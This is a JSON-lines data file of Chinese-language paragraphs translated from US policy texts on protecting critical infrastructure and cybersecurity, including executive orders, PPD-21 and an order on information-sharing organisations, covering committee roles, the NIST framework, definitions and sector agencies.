    {"text": "（2）美利坚合众国以政策形式保护关键基础设施的信息系统的运行免受破坏，以便保护人民、经济、必要的人类及政府服务、美国的国家安全，确保不会频繁发生破坏行为，且发生的破坏行为历时最短、可控，并将造成的损害尽量降至最低。"},
    {"text": "二、范围 为实现这一政策，应成立一个高级行政分支委员会进行协调工作，熟悉信息系统保护相关的联邦工作和项目，包括： （1）民营行业关键基础设施、州政府和地方政府的关键基础设施的合作和保护，企业和学术机构的支持项目；"},
    {"text": "（一）行政分支信息系统安全 为支持行政分支部门和机构信息系统的安全，美国行政管理预算局（OMB）局长有责任制定内部相关政策、原则、标准和指南，并监督政府的执行情况。 当某个行政部门或机构的安全做法出现关键缺陷时，OMB 局长应为总统和适当部门及机构的首脑提供建议。 就这一职能，本委员会应协助并支持 OMB 局长，合理认识与部门和机构信息系统安全有关的项目。"},
    {"text": "（二）国家安全信息系统 为保证各自职责范围内负责运行的信息系统的安全，国防部部长和中情局局长有责任监督、促进、确保政策、原则、标准和指南的实施。 国防部部长和中情局局长应咨询总统国家安全事务助理以及相关部门和机构，为保障支持其他的国家安全信息行政分支部门和机构运转的国家安全信息系统的安全，制定政策、原则、标准和指南。"},
    {"text": "五、委员会责任 与本命令第四部分所述责任一致，本委员会应当提出政策建议，协调项目，保护关键基础设施的信息系统（包括应急准备通信以及支持此类系统的物理资产）。"},
    {"text": "（一）扩大合作范围，与民营行业和州政府、地方政府共同开展合作 和有关行政分支部门和机构商议，协调与民营行业的合作与咨询，以及有关关键基础设施的信息系统（包括应急准备通信以及支持此类系统的物理资产）的保护，这些行业包括：拥有、运行、开发及装备信息、电信、运输、能源、水、卫生和金融服务的企业；"},
    {"text": "（3）协调高级联络官与民营行业机构在关键基础设施保护问题上的活动，这些联络官由总检察长、能源部部长、商务部部长、交通部部长、财政部部长、卫生部部长以及联邦紧急事务管理署署长任命。"},
    {"text": "就这些以及其他相关职能，本委员会应与关键基础设施保障办公室（CIAO）以及商务部国家标准与技术研究所、国家基础设施保护中心（NIPC）、国家通信系统（NCS）一起协调工作。"},
    {"text": "（二）信息共享 为确保系统创建并得到良好管理，在政府网络运营中心、基于自愿由行业建立的信息共享和分析中心，以及其他相关的运营中心之间，共享威胁警告、分析、恢复信息，应与行业、州政府、地方政府、非政府机构共同展开工作。"},
    {"text": "（三）事件协调与危机响应 协调项目和政策，以便响应威胁关键基础设施的信息系统安全事件（包括应急准备通信以及支持此类系统的物理资产）。"},
    {"text": "（四）招募、保留、培训行政分支安全专家 咨询行政分支部门和机构，协调项目，以确保负责保护关键基础设施的信息系统（包括应急准备通信以及支持此类系统的物理资产）的政府雇员得到足够的培训和评估。"},
    {"text": "（五）研究与发展 在保护关键基础设施信息系统（包括应急准备通信以及支持此类系统的物理资产）的联邦政府研发项目上，协调科技政策办公室（OSTP）主任，确保在该领域内，政府活动与企业、高校、联邦资助的研究中心以及国家实验室之间的协调工作顺利进行。"},
    {"text": "支持联邦执法机构调查涉及关键基础设施信息系统（包括应急准备通信以及支持此类系统的物理资产）的非法活动，配合这些机构与其他负责保护国家安全的部门和机构的协调工作。"},
    {"text": "（八）立法 根据行政管理预算局（OMB）通告A-19的规定，在关键基础设施信息系统（包括应急准备通信以及支持此类系统的物理资产）保护的立法工作方面，向各部门和机构、OMB 局长、总统法律事务助理提出建议。"},
    {"text": "（九）配合国土安全部 根据2001年10月8日颁布的第13228号行政令，国土安全部有以下职能：保护关键基础设施信息系统（包括应急准备通信），并在信息系统遭受针对性攻击后恢复系统正常工作。"},
    {"text": "同时，向相关官员提出政策建议和方案，以确保做好国家信息系统重要基础设施的安全保护工作，包括应急准备通信系统以及支持这些系统的实物资产。"},
    {"text": "主席应与总统经济政策事务助理协调有关民营部门体系和经济影响的问题，并和OMB局长就有关预算和本法案第四部分第一条提到的计算机网络预算和安全问题进行协调。"},
    {"text": "此外，在法律允许的范围内，根据主席要求，经总统办公厅主任批准，行政分支机关各部门和机构的负责人被授权选派或指派内部工作人员到委员会任职。"},
    {"text": "国家安全通信和信息系统安全委员会，须根据国家安全指令第42款（NSD-42）建立，由国防部主持，并作为委员会的常务委员会，且重新命名为国家安全系统委员会。"},
    {"text": "● 物理安全委员会，由国防部部长指派的人员和司法部部长指派的人员共同主持，协助保障关键基础设施信息系统的物理安全，包括应急准备通信以及支持这种系统的实物资产。"},
    {"text": "● 基础设施相关性委员会，由交通运输部部长指派的人员和能源部部长指派的人员共同主持，互相协作以评估个别风险、威胁以及与关键基础设施信息系统相关的漏洞，包括有效发展模式、仿真以及该领域的其他分析工具和成本高效的技术。"},
    {"text": "● 其他委员会。 其他常务委员会可以由委员会设立。 （4）小组委员会。 各常务委员会的主席可以成立必要的小组委员会，并由本委员会主席确定组织成员。"},
    {"text": "委员会还应当协同国土安全办公室（Office of Homeland Security），在审议相关项目的要求和资源后，就委员会监管范围之内的行政部门和机构的预算问题，向OMB提出建议。"},
    {"text": "（2）总统行政办公室下属的行政办公室，在法律允许的范围和拨款的预算内，应当在办公室主任的指示下，向委员会提供诸如人员、资金和管理的支持。"},
    {"text": "（3）根据1981年12月4日颁布的第12333号行政令的规定，委员会每年可要求国家科学基金会、能源部、交通部、环境保护局、商务部、国防部以及情报机构，将它们为示范项目和研究向OMB提交资金的预算请求列出，以支持委员会的工作。"},
    {"text": "十、总统顾问小组 委员会主席应当与政府以外的负责给总统出谋划策的高级专家小组紧密合作，尤其是根据 1982 年 9 月 13 日颁布的第 12382 号行政令修订版设立的国家安全电信顾问委员会（NSTAC），以及根据本行政令设立的国家基础设施顾问委员会（NIAC）。"},
    {"text": "（一） NSTAC NSTAC 负责向美国总统就对国家安全和应急准备方面至关重要的通信系统的安全性和稳定性提供建议。 （二） NIAC NIAC负责向美国总统就支撑其他经济部门（银行与金融、交通、能源、制造）及应急政府服务的关键基础设施信息系统的安全性，提供建议。"},
    {"text": "NIAC成员应当从民营部门、学术界、州和地方政府中选出，应当具备与NIAC职能相关的专业知识，一般应当从那些业内负责支撑经济领域关键部门（包括银行和金融、交通、能源、通信）及应急政府服务的信息基础设施安全性的行业首席执行官（以及其他组织同等职位的领导人）中选择。"},
    {"text": "（3）监测民营部门的信息分享和分析中心（ISAC）的研发情况，向委员会就如何最大限度地促进这些组织与ISAC、NIPC和其他联邦政府机构的进一步合作提供建议；"},
    {"text": "（5）在法律允许的范围和拨款的预算内，商务部应当通过CIAO向NIAC提供行政服务、工作人员，以及对NIAC履行职能可能必要的其他支撑服务和专款。 （五）总则 （1）《联邦顾问委员会法》修订版也适用于 NIAC，根据该法案，除了向国会提交报告外，总统还应当根据商务部依据联邦总务署（Administrator of General Services）所制定的指导方针和程序来履行职能。"},
    {"text": "十三、分类授权 在此，根据1995年颁布的第12958号行政令修订版，或者具有相同效力的行政令，授予委员会主席第一时间将信息划分为“绝密信息”的权力。"},
    {"text": "（2）本行政令在法律或公平上，不会创造任何实质性或程序性、具备法律效力的，损害美国，美国的部门、机构或其他实体，美国的官员或雇员，或者其他任何人员的权力或利益。"},
    {"text": "我们要通过政策，加强国家关键基础设施的安全和恢复能力，保持一个良好的网络环境，在促进公民安全、国家安全、商业机密、隐私和公民自由的同时鼓励高效、创新和经济繁荣。"},
    {"text": "二、关键基础设施 此法令中所述的关键基础设施是指，对美国有重要意义，一旦失效或者受损会对公民安全、国家经济安全、国家公共卫生或国家安全造成严重影响的相关系统和资产（包括物质形态和非物质形态）。"},
    {"text": "三、政策协调 为本法令中所描述和归类的职能与项目服务的政策协调、指导、纠纷调解和定期进行的评审，须提交通过1号总统政策令（2009年2月13日签署的《国家安全委员会组织》）或其后续指令中确立的部际程序讨论或具有相等法律效力的程序。"},
    {"text": "四、网络安全信息共享 （1）美国政府制定此政策是为了提高与美国民营部门主体共享网络威胁信息的容量、速度和质量，以便这些部门主体能够在面对网络安全威胁时更好地自我保护和防御。"},
    {"text": "此法令签署后120 天之内，司法部部长、国土安全部部长（以下简称“部长”）以及国家情报总监应行使各自的职权，根据本法令中第十二部分第三条所述要求，发布具体的操作办法，确保及时地向美国公众发布非涉密并明确针对主体的网络安全报告。"},
    {"text": "（3）为协助关键基础设施业主和运营商保护关键基础设施不受未经授权的接入、占用或损害，部长应在遵守《美国法典》第6篇第143节的基础上与国防部部长合作，在本法令签署120天内，建立覆盖所有关键基础设施部门的强化网络安全服务项目的操作流程。"},
    {"text": "（4）根据2010年8月18日签署的第13549号行政令——《面向国家、地方、部落和民营部门实体的机密级国家安全信息项目》，部长作为机密级国家安全信息项目的代理人，应加速关键基础设施业主和运营商的雇佣职员获得安全许可的过程，优先推进本法令第九部分中认证的关键基础设施。"},
    {"text": "五、隐私权和公民自由权利的保护 （1）相关机构应在本法令和上级主管的指导下协调行动，保护隐私和公民自由，并确保将保护隐私和公民自由纳入活动中。"},
    {"text": "每个机构在开展活动时对隐私和公民自由的保护工作，应根据《公平信息实践原则》（FIPP），以及其他隐私与公民自由政策、原则和框架文件来执行。"},
    {"text": "（2）首席隐私官、国土安全部门（DHS）公民权利与公民自由的主管官员应评估本法令中DHS 承担职责和项目中会出现的隐私和公民自由的风险，同时应向部长以公开报告的方式，在本法令签署一年内，建议合理的方式来最小化此类风险。 本法令涉及的相关资深机构中负责保护隐私和公民自由工作的官员，须主持自身机构的评估工作并在报告中为DHS 提供评估意见以供参考。"},
    {"text": "（3）在制作上述报告时，首席隐私官、DHS 公民权利与公民自由的主管官员应与隐私与公民自由监管委员会商讨，并与行政管理预算局（OMB）协调。"},
    {"text": "作为协商程序中的一环，部长应参与并思考来自关键基础设施合作咨询委员会，产业协调委员会，关键基础设施业主和运营商，特定行业机构，其他相关行业，独立监管机构，国家、地方、区、部落政府，大学学府和外界专家关于本法令规定问题的建议。"},
    {"text": "七、建立基础框架降低关键基础设施的网络安全风险 （1）商务部部长应指导国家标准与技术研究所（NIST）主任（以下简称“主任”）牵头建立《降低关键基础设施网络安全风险的框架体系》（以下简称“《网络安全框架》”）。"},
    {"text": "《网络安全框架》应包括一系列的标准、方法、步骤和程序，以使政策、商业和技术手段结合起来共同解决网络风险问题，还应包括自愿达成的统一标准和尽可能充分的最佳产业实践案例。"},
    {"text": "如果自愿国际标准能提高本法令的目标，《网络安全框架》应与该标准保持一致，还应符合新修订的《国家标准与技术研究所法》（《美国法典》第15篇第271节）、1995年的《国家技术转移和推进法》（《公共法》第 104～113 条）和修订后的行政管理预算局（OMB）的第A-119号通告的要求。"},
    {"text": "（2）《网络安全框架》应提出一套优先、灵活、可重复、基于实践、成本低的方案，包括信息安全措施和控制，帮助关键基础设施业主和运营商识别、评估和管理网络风险。 《网络安全框架》的重点在于如何确定可用于关键基础设施的多部门安全标准和指导意见，还应确定哪些领域的安全工作有待未来通过和特殊部门、标准研发部门的合作而获得提高。 为促进技术创新并考虑到组织机构间的差异，《网络安全框架》还应提供指导，包括技术中立、让关键基础设施部门能从竞争的市场中获利。"},
    {"text": "（5）在本法令签署240天之内，主任应发布《网络安全框架》的初稿（“初步框架”）。 在本法令签署1年内，和部长协商确保初步框架符合本法令第八部分的要求后，主任应发布《网络安全框架》的最终版本（“最终框架”）。 （6）根据法定职责，主任要确保《网络安全框架》和指导通过评审，必要时要更新信息，考虑技术变更、网络风险变化、关键基础设施业主和运营商的实践回馈、本法令第八部分的执行经验和其他相关因素。"},
    {"text": "八、自愿性关键基础设施网络安全项目 （1）部长在与特定行业机构协调后，应建立自愿性项目（以下简称“项目”）支持关键基础设施业主和运营商、其他相关主体采用《网络安全框架》。 （2）特定行业机构在与部长、其他相关机构商讨后，应协同部门协调委员会评审《网络安全框架》，必要时研究执行意见或补充材料，应对行业风险和改善运营环境。"},
    {"text": "在本法令签署120天内，国土安全部部长和财政部部长、商务部部长应通过国土安全和反恐助理、经济事务助理，分别向总统作出推荐报告，包括对这些鼓励措施的好处和有效性的分析，证明这些措施是否合法，或者现行法律和权力是否允许这些措施应用在项目当中。 （5）在本法令签署120天之内，国防部部长、总务长官应和部长、联邦并购监管委员会协商，通过国土安全和反恐助理、经济事务助理，向总统作出推荐报告，包括将安全标准并入合并计划和合约管理的可行性、安全利益和相关优点。"},
    {"text": "九、识别处于最大危险的关键基础设施 （1）在本法令签署150天之内，国土安全部部长应使用一个基于风险考虑的方法，对一旦发生网络安全事件，就会在地区或者全国范围内对公共卫生安全、经济安全或国家安全产生灾难性影响的关键基础设施进行识别确认。"},
    {"text": "（3）部长应协同特定行业机构，对被识别出的关键基础设施（根据本部分第一条要求）业主和运营商发出秘密通知，告知他们已被识别，并确保被识别出的业主和运营商对此决定做好准备工作。 部长还应建立一项程序，便于关键基础设施业主和运营商根据本部分第一条要求提交相关信息和申请复议。"},
    {"text": "十、框架的采用 （1）负责监管关键基础设施的机构应参与与DHS、OMB和国家安全人员的协商过程会议，共同评审初步网络安全框架，并判定目前的网络安全监管要求是否能够应对当前和预期的风险。"},
    {"text": "在初步框架发布90天之内，以上机构应通过国土安全和反恐助理向总统提交一份报告，同时通过经济事务助理向OMB局长提交报告，陈述机构是否有清晰权限，在网络安全框架上提出要求，合理应对关键基础设施、现已识别的权力机构和其他有需要的权力机构当前和预期的风险。"},
    {"text": "（2）如果监管要求不够完善，在最终框架发布90天内，本部分第一条指出的有关机构应在遵照第12866号行政令（1993年9月30日签署，《监管计划和评审》）、第13563号行政令（2011年1月18日签署，《提高监管与监管评审水平》）和第13609号行政令（2012年5月1日签署，《推进国际监管合作》）的前提下，提出优先的、基于风险意识的、高效和协调一致的行动方案，减轻网络风险。 （3）在最终框架发布两年内，本部分第一条指出的有关机构应在遵照第 13563 号、第13610号行政令（2012年5月10日签署，《确认与减少监管负担》）的前提下，与关键基础设施的业主和运营商协商，向OMB提出报告，指出关键基础设施网络安全要求中存在的任何低效、冲突或过度繁重的条款。"},
    {"text": "（5）应鼓励负责关键基础设施网络安全监管工作的独立监管机构，参与到部长、有关行业机构和其他可优先采取行动的相关方的协商程序中，各尽其能，共同减轻关键基础设施的网络风险。"},
    {"text": "十一、定义 （1）“机构”除《美国法典》第44篇第3502节（5）中定义的独立管理机构外，还包括《美国法典》第44篇第3502节（1）中描述的美国任何一个权力部门。"},
    {"text": "（2）“关键基础设施合作咨询委员会”由国土安全部建立（《美国法典》第6篇第451节），负责在联邦政府、私有部门以及州政府、地方政府、区政府、部族政府中，就关键基础设施防护活动，进行有效的交互与协调工作。"},
    {"text": "本法令并不是提供一个权威机构来管理关键基础设施的安全，并未赋予它法律之外或者超越现存法律界限的权力，也不会更改或限制一个机构在现有法律下的任何权力和责任。"},
    {"text": "（5）本法令无论在形式或实质上，所采取的法律或道德手段均不悖于美国政党的权力或者利益，生效对象包括美国的部门、机构、组织、官员、雇员、代理人或者任何其他人。"},
    {"text": "第21号总统政策指令：关键基础设施的安全与恢复力 一、主题 为推动各方维护并加强关键基础设施的安全和恢复能力，保证这些设施的顺畅运行，特发布关于关键基础设施的安全与恢复力的总统政策指令（PPD）。"},
    {"text": "有必要维护并加强关键基础设施（包括对树立公众信心以及确保国家安全、繁荣和福利至关重要的资产、网络及体系）的安全和恢复能力，保证这些设施的顺畅运行。"},
    {"text": "国家关键基础设施复杂多样，涵盖了分布式网络、各式各样的组织结构及运作模式（包括跨国合作）、在实体空间与网络空间领域相互依存的功能系统，以及多层政府、责任及法规的治理结构。"},
    {"text": "关键基础设施的所有者和运营者尤其要设法应对其经营与资产所面对的风险，并采取有效措施使它们更加安全、更具恢复力。 必须确保关键基础设施安全、可承受风险并且能够快速从各类危机中恢复。"},
    {"text": "该指令还阐明了联邦政府在关键基础设施方面的相关职能、角色与责任，加强了整体协调与合作。 同时，联邦政府有责任加强其自身关键基础设施的安全与恢复力，以确保国家基本职能体系的持续运行。 联邦政府也有职责与关键基础设施所有者和运营商有效合作，加强关键基础设施安全与恢复力建设。"},
    {"text": "鉴于所有威胁因素都将对国家安全、经济稳定、公众安全与健康的单方面或者多方面造成不利影响，联邦政府应当与关键基础设施的所有者和运营商、SLTT实体合作，采取积极举措应对风险，加强国家关键基础设施的安全与恢复力。"},
    {"text": "联邦政府还应与国际社会通力合作，加强国内关键基础设施及国家所依赖的位于境外的关键基础设施的安全与恢复力。 美国针对加强关键基础设施的安全与恢复力所采取的举措是整体性、全盘性的，以此反映基础设施间的相互关联、相互依存。"},
    {"text": "以下三项战略性要务将促进联邦政府加强关键基础设施的安全与恢复力。 （1）改进并明确联邦政府内部职责关系，促进全国共同努力，加强关键基础设施的安全与恢复力。"},
    {"text": "联邦政府各部门与机构应当依据相关法律、总统指令及保护公民隐私、权利与自由的联邦法规来执行该指令。 另外，联邦政府各部门与机构应当以符合相关法律条例与政策的方式保护执行指令过程中所涉及的所有信息。"},
    {"text": "这不仅需要联邦部门与机构的专业能力或支持能力、与关键基础设施所有者和运营商以及SLTT 实体组织的强有力合作，还需要特定部门机构（SSA）的专业技术与日常参与。 尽管该指令中提到的角色与职责的明确对象为联邦部门与机构，但与关键基础设施所有者和运营商以及 SLTT 实体组织的有效合作对于加强国家关键基础设施的安全和恢复力同样必不可少。"},
    {"text": "五、国土安全部部长 国土安全部部长应提出战略指导，协调全国各方力量以推进国家关键基础设施的安全和恢复力建设。 在履行《国土安全法》（2002年）（Homeland Security Act of 2002）修订版所指定的职责的过程中，国土安全部部长评估国家维护关键基础设施的能力及所面临的机遇与挑战，分析关键基础设施所面对的威胁、漏洞以及所有风险可能带来的后果，明确与所有关键基础设施公私领域的有效合作所必需的安全与恢复能力，与 SSA 及其他关键基础设施合作者合作制定国家计划与指标，整合、协调在联邦基础设施安全和恢复力方面的跨领域活动，鉴定并分析关键基础设施领域的主要依存关系，报告国家加强关键基础设施安全和恢复力的举措的有效性。 国土安全部部长的其他角色与职责包括： （1）确定并优先考虑关键基础设施，与 SSA 及其他联邦部门和机构协调合作，考虑关键基础设施所面对的物理威胁与网络威胁、漏洞以及风险后果；"},
    {"text": "（2）维护全国关键基础设施中心，该中心可提供态势感知能力，包括有关新趋势、紧迫性威胁、可影响关键基础设施事件态势的整合性、可操作性信息； （3）与 SSA 及其他联邦部门和机构合作，为关键基础设施所有者与运营商提供情况分析、专业知识及其他技术帮助，促进必要的信息交流与情报获取，加强关键基础设施的安全和恢复力； （4）与SSA、SLTT实体组织及关键基础设施所有者和运营商协调合作，对国家关键基础设施的脆弱点进行综合评估； （5）依据法定职责，协调联邦政府对影响关键基础设施的重大网络或物理威胁采取应对措施； （6）支持司法部部长及执法部门依法对针对关键基础设施的威胁和攻击进行调查和起诉；"},
    {"text": "（7）与 SSA 及其他相关联邦部门和机构合作并利用其专业知识，采用商业卫星、机载系统及其他部门现有能力等手段，对关键基础设施进行地图和影像绘制、分析及归类；"},
    {"text": "六、特定部门机构 关键基础设施的每个行业都各具特色，并具有独特的运营模式及风险状况，具备系统专业知识的特定部门机构对行业发展起到推动作用。"},
    {"text": "（1）作为全国加强关键基础设施安全和恢复力的重要一环，与国土安全部（DHS）及其他相关联邦部门和机构协调一致，与关键基础设施所有者和运营商合作，适时和独立监管机构以及SLTT实体合作，执行此项指示。"},
    {"text": "七、联邦政府附加职责 以下部门与机构，必要时与其他联邦部门和机构以及独立监管机构合作，为关键基础设施的安全和恢复力建设履行专业职能或支撑责任。"},
    {"text": "（1）国务院应在国土安全部、SSA及其他联邦部门和机构的协同下，推动他国政府和国际组织加强美国境外关键基础设施的安全和恢复力，并促进有关加强关键基础设施安全和恢复力的最佳经验和方法的全面交流。"},
    {"text": "对于国外情报人员窃密活动、恐怖分子活动，以及其他一切对国家关键基础设施造成威胁的实际攻击或潜在攻击和破坏活动，司法部都应当调查、处理、起诉，或者将危害降至最低。"},
    {"text": "FBI应当对国内的网络威胁信息进行整理、分析和发布，同时对国家网络调查联合工作组（NCIJTF）的运行负责。 NCIJTF的成员来自国土安全部、美国情报体系（IC）、国防部，必要时还有来自其他机构的成员，是全国跨机构合作的中心，它协调、整合并分享网络威胁调查的相关信息。"},
    {"text": "（3）内政部应在政府设施行业所对应的特定机构的协作下，确定、开展并协调国家文物遗迹的安全与恢复工作，并在使用、欣赏这些重要资产的同时减少它们面临的风险。"},
    {"text": "（4）商务部（DOC）应在国土安全部及其他联邦部门和机构的协调配合下，促使私有行业、研究界、学术界以及政府组织提高与基于网络的体系相关的技术和工具的安全，推进与关键基础设施相关的其他工作的开展，以保障工业产品、原料及服务的及时提供，满足国土安全需求。"},
    {"text": "（5）国家情报总监（DNI）领导下的美国情报体系（IC）应利用相关职权和协调机制，酌情提供关键基础设施威胁的情报评估，在关键基础设施相关的情报和其他敏感或产权信息上进行协调。"},
    {"text": "（6）总务管理局应与国防部、国土安全部及其他部门和机构适时协商，提供并支持有关关键基础设施的政府层面的合同，并确保在合同中政府享有对关键基础设施的安全及恢复力的审计权力。"},
    {"text": "（8）联邦通信委员会应与国土安全部、国务部、其他联邦部门和机构、SSA适时合作，在法律允许范围内，在以下方面行使其职权，运用其专业知识：确定并发展通信基础设施；"},
    {"text": "与包括通信行业、相关国外政府及国际组织在内的利益相关方合作，加强通信行业关键基础设施的安全及恢复力，促进关键通信基础设施的安全及恢复力最佳实践的开发与使用。"},
    {"text": "（9）联邦部门和机构应及时为国土安全部部长及国家关键基础设施中心提供信息，以便进行关键基础设施的跨行业分析以及提供态势感知能力报告。"},
    {"text": "加强关键基础设施的安全及恢复力的全国有效行动须以一个确认角色与职能的国家性计划为指导，该计划依据SSA、其他在关键基础设施中起重要作用的联邦部门和机构、SLTT实体组织以及关键基础设施所有者和运营商的专业技能、经验、能力及职责制定。"},
    {"text": "因此，我们应理清并改善联邦政府在关键基础设施的安全和恢复力方面的职能，以促进反映情况发展的基准能力建设，规定相关联邦政府项目的职能，促进联邦政府、关键基础设施的所有者和运营商以及SLTT实体组织间的合作与信息交流。"},
    {"text": "它们将以整体运作的方式，作为服务中心，为关键基础设施的合作者们获取态势感知以及整合性的可操作信息，以保护物理及网络关键基础设施。"},
    {"text": "国家关键基础设施中心的成功运行，包括其整合和分析职能的履行，有赖于SSA、其他联邦部门和机构、关键基础设施的所有者和运营商、SLTT 实体组织为其提供及时、高质量的信息与情报。"},
    {"text": "我们的目的是通过明确对数据、信息格式、信息的可获得性以及系统的兼容性方面的要求，保证信息有效交流，做好备用系统及备选措施准备以防主系统遭到破坏。"},
    {"text": "第三项战略任务建立在前两项战略任务基础之上，须承担关键基础设施整合与分析职能，包括对事故、威胁和即将出现的风险的操作性和战略性分析。"},
    {"text": "此项职能应由第一项战略任务中提及的两个国家中心共同完成，包括核对、评估并整合漏洞信息、威胁流所造成的后果分析以及风险信息，以促进以下工作的开展。"},
    {"text": "情报体系、国防部、司法部、国土安全部以及其他掌握相关情报、信息的联邦部门和机构，应为国家中心提供与国家关键基础设施相关的、及时的适当信息，以支持整合与分析职能的执行。"},
    {"text": "最后，此项整合和分析职能应支持国土安全部保持并分享对关键基础设施的近实时态势感知能力，包括有关紧迫性威胁、重要趋势方面的可行性信息以及对可影响关键基础设施的事故的警惕意识。"},
    {"text": "九、创新、研究与开发 国土安全部部长应在科技政策办公室（OSTP）、SSA、商务部及其他联邦部门和机构的协调配合下，为联邦或联邦资助的研发（R&D）活动提供与之匹配的投入。"},
    {"text": "研发活动的目的是加强国家关键基础设施的安全和恢复力，包括： （1）促进安全和恢复力设计、关键基础设施建设以及更多相应网络安全技术开发等研发活动；"},
    {"text": "职能关系一旦确立，应作为关键基础设施所有者和运营商以及SLTT实体组织的路线图，以此来掌舵联邦政府的职能方向，为加强关键基础设施安全与恢复力、应对实体威胁和网络威胁确定职责基本点。"},
    {"text": "自指令颁布日起150日内，在SSA、其他联邦部门和机构、SLTT 实体组织以及关键基础设施所有者和运营商的配合下，国土安全部部长应对现行政府与民间的合作模式进行分析，并提出提高物理空间和网络空间领域合作效率的方案。"},
    {"text": "另外，在为联邦政府提供一个集中、严格、行之有效的合作方法以实现与关键基础设施所有者和运营商、SLTT 实体组织合作的同时，分析还应考虑如何使运作模式灵活适用，以满足个别行业的特殊需求。"},
    {"text": "自指令颁布日起180日内，在 SSA 及其他联邦部门和机构的协调合作下，国土安全部部长应召集组织一个专家团队，明确基准数据和系统的要求，以使有关关键基础设施的安全及恢复力的信息和情报实现有效交流。"},
    {"text": "团队专家将包括来自掌握日常关键基础设施安全及恢复力重要信息的实体组织的代表、建立并管理用于信息交流的信息技术体系的专家，以及确保信息交流安全的责任人。"},
    {"text": "分析中应包括关键基础设施合作者之间的兼容性，对联邦、SLTT 及民营行业的数据及信息要求的确定，数据的可使用、可获得及格式，交流各种类型信息的能力，所使用系统的安全，以及对公民隐私和公民自由的适当保护。 分析应最终制定出对数据共享和系统兼容性的基准要求，实现数据信息的及时交流，以确保关键基础设施安全、更具恢复力。"},
    {"text": "自指令颁布日起240日内，国土安全部部长应展示出对威胁流、各种灾害信息及漏洞的近实时性态势感知能力，提供关键基础设施的状况及潜在的串联影响方面的信息，支持决策确立，在事故中传播关键必要信息以拯救或维持生命、减轻破坏或减少关键基础设施能力的再度降级。"},
    {"text": "自指令颁布日起240日内，国土安全部部长应通过总统的国土安全和反恐助理向总统提交《国家基础设施保护计划》的后续事宜安排，明确此指令的执行、《国土安全法案》（2002 年修订版）第二章要求，以及与第 8 号总统政策指令（PPD8）所要求的《国家准备目标和系统》一致。"},
    {"text": "计划应包括用于加强关键基础设施安全及恢复力的风险处理框架、开发关键基础设施的方法、用于同步联邦政府内部交流与行动的协议，以及用于衡量国家处理和降低关键基础设施风险的能力的指标和分析程序。"},
    {"text": "自指令颁布日起两年内，在科技政策办公室、SSA、商务部以及其他联邦部门和机构的协调合作下，国土安全部部长应通过总统的国土安全及反恐事务助理向总统提交《国家关键基础设施安全与恢复力研发计划》。"},
    {"text": "为执行此项指令所进行的政策协调、争议解决以及周期性回顾应符合第1号总统政策令（PPD1）的要求，包括如何管理利用由国家安全人员协调配合的跨部门政策委员会。"},
    {"text": "该指令的内容不会改变、取代或者阻碍包括独立监管机构在内的联邦部门和机构在符合相关法律条款及其他总统指令（包括但不限于关于关键基础设施的指示）的情况下履行其职能和责任。"},
    {"text": "国土安全部部长应做出周期性评估，以决定是否有必要和是否批准对关键基础设施行业进行改变。 在进行某一关键基础设施行业或其所对应的指定 SSA 变更前，国土安全部部长应与总统的国土安全和反恐事务助理协商。"},
    {"text": "化工业： SSA：国土安全部 商业设施： SSA：国土安全部 通信行业： SSA：国土安全部 关键制造业： SSA：国土安全部 水利系统： SSA：国土安全部 国防工业基础： SSA：国防部 应急服务： SSA：国土安全部 能源业： SSA：能源部 金融服务： SSA：财政部 粮农业： Co-SSA：美国农业部和美国卫生及公共服务部 政府设施： Co-SSA：国土安全部和联邦总务署 医疗和公共卫生： SSA：美国卫生及公共服务部 信息技术产业： SSA：国土安全部 核反应堆、原料及废物： SSA：国土安全部 交通系统： Co-SSA：国土安全部和交通部 供水及污水系统： SSA：环境保护署 （二）定义 词条“全灾害因素”指自然的或人为的威胁或事故，须采取措施以保护生命、财产、环境及公共健康或安全，减少对政府、社会及经济活动的破坏。"},
    {"text": "词条“合作”指协调努力以完成共同目标。 词条“协调”和“配合”指达成共识的决策过程，在此过程中，指定的部门或机构有责任与相关部门和机构协调努力以达成共识，采取一致行动。"},
    {"text": "词条“关键基础设施”参见《美国爱国者法案》（2001年）[42 U.S.C.5195c（e）]，指对美国至关重要的实体或网络系统及资产，其功能障碍和损害都将对国家安全、经济安全、国民健康或安全的单个方面或多个方面产生削弱影响。"},
    {"text": "词条“联邦部门和机构”除 44 U.S.C.3502（5）规定的独立监管机构外，还包括 44 U.S.C.3502（1）中规定的美国任何一个权力机构。"},
    {"text": "词条“国家重要职能”指在灾难性突发事件中领导并维持国家状况的必要政府职能。 词条“基本任务职能”指为了支持突发事件前、事件中及事件后国家重要职能的完成而必须履行的政府职能。"},
    {"text": "词条“恢复力”指具备应对和适应条件变化、能经受破坏并从中快速恢复的能力，包括承受并从故意攻击、事故或不可抗力威胁或事故中恢复的能力。"},
    {"text": "词条“特定部门机构”（SSA）指此指令中所明确的负责下列工作的联邦部门或机构：提供系统知识和专业技能，在风险环境中引导、促进或支持安全和恢复力项目以及所对应的关键基础设施行业的相关活动。"},
    {"text": "行政命令：促进民营部门网络安全信息共享 一、政策 美国公共健康与安全、国家安全、经济安全领域都面临着网络威胁。 为应对这些威胁，民营企业、非营利组织、行政部门、机构和其他单位必须做到共享网络安全风险和事件的相关信息，并通过合作尽可能地快速应对网络威胁。"},
    {"text": "这则命令旨在鼓励组建这些机构组织，以建立可以持续改进这些机构的能力和作用的机制，允许组织机构更好地与联邦政府在自愿的基础上展开合作。"},
    {"text": "此类信息共享必须在确保信息安全的基础上，保护个人隐私和公民的自由权，保守商业秘密，同时令政府可以监测、调查、预防和应对针对美国公共健康和安全、国家安全、经济安全领域的网络威胁。"},
    {"text": "此处所提的职能和计划将按照2009年2月13日发布的第1号总统政策令（《组建国家安全委员会》）中所提及的“跨机构”执行，包括所需的政策协调、指导、解决争议和正在进行的周期性审查，或任何后续命令。"},
    {"text": "（2）信息共享和分析机构可以建立在部门、分部门、地区或其他相关机构的基础上，包括应对特定新出现的威胁或漏洞。 信息共享和分析机构的成员可以来自公共或民营部门，或者政府与民间合作的机构。 信息共享和分析机构既可以是营利性质，也可以是非营利性质。"},
    {"text": "（3）根据2002年《国土安全法》第226（b）条成立的美国国家网络安全和通信集成中心（NCCIC）将与信息共享和分析机构，在网络安全风险和事件信息共享、应对未来安全风险和事件、加强信息安全系统等方面，开展持续、协作、兼收并蓄的合作，这也与《国土安全法》的第212条和第226（b）条一致。"},
    {"text": "三、信息共享和分析机构的标准组织 （1）在与负责执行网络安全和相关行动的其他联邦机构磋商后，秘书处将通过开放和竞争的过程与非政府组织达成协议，成为信息共享和分析机构的标准组织。"},
